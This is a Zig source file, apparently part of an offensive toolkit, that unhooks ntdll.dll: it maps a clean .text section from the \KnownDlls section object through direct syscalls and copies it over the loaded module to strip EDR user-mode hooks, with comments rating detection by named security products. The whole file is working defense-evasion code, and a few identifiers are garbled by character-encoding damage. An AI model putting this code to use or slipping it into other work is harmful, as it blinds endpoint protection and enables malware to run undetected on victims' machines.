109 lines
3.9 KiB
Zig
109 lines
3.9 KiB
Zig
// Maps clean .text from \KnownDlls\ntdll.dll section object, overwrites EDR hooks.
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// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
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// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
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const std = @import("std");
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const syscall = @import("syscall.zig");
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const resolve = @import("resolve.zig");
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const win = @import("win32.zig");
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var g_unhooked: bool = false;
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pub fn unhookNtdll() void {
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if (g_unhooked) return;
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g_unhooked = true;
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const ntdll_hash = resolve.hash_ror13("ntdll.dll");
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const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
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const our_bytes = @as([*]u8, @ptrCast(our_base));
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const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes)));
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if (dos.e_magic != 0x5A4D) return;
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const nt = @as(*align(1) extern struct {
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Signature: u32,
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FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
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OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 },
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}, @ptrCast(@alignCast(our_bytes + @as(usize, @intCast(dos.e_lfanew)))));
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if (nt.Signature != 0x00004550) return;
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var text_va: usize = 0;
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var text_size: usize = 0;
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const section_off = dos.e_lfanew + 4 + 20 + 240;
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const sections = @as([*]align(1) extern struct {
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Name: [8]u8,
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VirtualSize: u32,
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VirtualAddress: u32,
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pad: [20]u8,
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Characteristics: u32,
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}, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off))));
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for (0..nt.FileHeader.NumberOfSections) |i| {
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if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
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text_va = sections[i].VirtualAddress;
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text_size = sections[i].VirtualSize;
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break;
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}
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}
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if (text_va == 0 or text_size == 0) return;
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const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
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var us: win.UNICODE_STRING = .{
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.Length = (@sizeOf(@TypeOf(name)) - 2),
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.MaximumLength = @sizeOf(@TypeOf(name)),
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.Buffer = @ptrCast(@constCast(&name)),
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};
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var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
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oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
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oa.ObjectName = &us;
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oa.Attributes = win.OBJ_CASE_INSENSITIVE;
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var section_handle: win.HANDLE = undefined;
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if (!win.NT_SUCCESS(syscall.nt_open_section(§ion_handle, win.SECTION_MAP_READ, &oa)))
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return;
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defer _ = syscall.nt_close(section_handle);
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var view_base: ?*anyopaque = null;
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var view_size: win.SIZE_T = 0;
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_ = syscall.nt_map_view_of_section(
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section_handle,
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syscall.nt_current_process(),
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&view_base,
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0,
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0,
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null,
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&view_size,
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2, // ViewUnmap = 2
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0,
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win.PAGE_READONLY,
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);
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if (view_base != null and view_size >= text_size) {
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const clean_base = @as([*]u8, @ptrCast(view_base));
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const our_text = our_bytes[text_va .. text_va + text_size];
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var region_size: win.SIZE_T = text_size;
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var old_prot: win.DWORD = 0;
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var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
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if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory(
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syscall.nt_current_process(),
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&base_ptr,
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®ion_size,
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win.PAGE_READWRITE,
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&old_prot,
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))) return;
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@memcpy(our_text, clean_base[0..text_size]);
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base_ptr = @ptrCast(&our_bytes[text_va]);
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region_size = text_size;
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_ = syscall.nt_protect_virtual_memory(
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syscall.nt_current_process(),
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&base_ptr,
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®ion_size,
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win.PAGE_EXECUTE_READ,
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&old_prot,
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);
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}
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if (view_base) |b| _ = syscall.nt_unmap_view_of_section(syscall.nt_current_process(), b);
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}
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